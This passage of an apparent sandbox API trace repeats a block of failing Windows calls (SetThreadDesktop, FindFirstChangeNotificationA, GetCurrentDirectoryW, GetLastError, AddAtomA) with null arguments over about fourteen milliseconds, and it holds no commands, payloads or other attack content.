0x0 [0117.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.307] GetLastError () returned 0x3 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.307] GetLastError () returned 0x3 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.307] GetLastError () returned 0x3 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.307] GetLastError () returned 0x3 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.307] GetLastError () returned 0x3 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] AddAtomA (lpString=0x0) returned 0x0 [0117.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.308] GetLastError () returned 0x3 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.308] GetLastError () returned 0x3 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.308] GetLastError () returned 0x3 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.308] GetLastError () returned 0x3 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.308] GetLastError () returned 0x3 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] AddAtomA (lpString=0x0) returned 0x0 [0117.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.309] GetLastError () returned 0x3 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.309] GetLastError () returned 0x3 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.309] GetLastError () returned 0x3 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.309] GetLastError () returned 0x3 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.309] AddAtomA (lpString=0x0) returned 0x0 [0117.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.310] GetLastError () returned 0x3 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.310] GetLastError () returned 0x3 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.310] GetLastError () returned 0x3 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.310] GetLastError () returned 0x3 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] AddAtomA (lpString=0x0) returned 0x0 [0117.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.311] GetLastError () returned 0x3 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.311] GetLastError () returned 0x3 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.311] GetLastError () returned 0x3 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.311] GetLastError () returned 0x3 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] AddAtomA (lpString=0x0) returned 0x0 [0117.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.311] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.312] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.312] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.312] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.312] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.312] GetLastError () returned 0x3 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.312] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.313] GetLastError () returned 0x3 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.313] GetLastError () returned 0x3 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.313] GetLastError () returned 0x3 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.313] GetLastError () returned 0x3 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.313] GetLastError () returned 0x3 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] AddAtomA (lpString=0x0) returned 0x0 [0117.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.314] GetLastError () returned 0x3 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.314] GetLastError () returned 0x3 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.314] GetLastError () returned 0x3 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.314] GetLastError () returned 0x3 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.314] GetLastError () returned 0x3 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] AddAtomA (lpString=0x0) returned 0x0 [0117.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.315] GetLastError () returned 0x3 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.315] GetLastError () returned 0x3 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.315] GetLastError () returned 0x3 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.315] GetLastError () returned 0x3 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.315] GetLastError () returned 0x3 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] AddAtomA (lpString=0x0) returned 0x0 [0117.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.316] GetLastError () returned 0x3 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.316] GetLastError () returned 0x3 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.316] GetLastError () returned 0x3 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.316] GetLastError () returned 0x3 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.316] GetLastError () returned 0x3 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] AddAtomA (lpString=0x0) returned 0x0 [0117.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.317] GetLastError () returned 0x3 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] AddAtomA (lpString=0x0) returned 0x0 [0117.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.318] GetLastError () returned 0x3 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.318] GetLastError () returned 0x3 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.318] GetLastError () returned 0x3 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.318] GetLastError () returned 0x3 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.318] GetLastError () returned 0x3 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] AddAtomA (lpString=0x0) returned 0x0 [0117.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.319] GetLastError () returned 0x3 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.319] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.319] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.319] GetLastError () returned 0x3 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.319] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.319] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.319] GetLastError () returned 0x3 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] AddAtomA (lpString=0x0) returned 0x0 [0117.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, 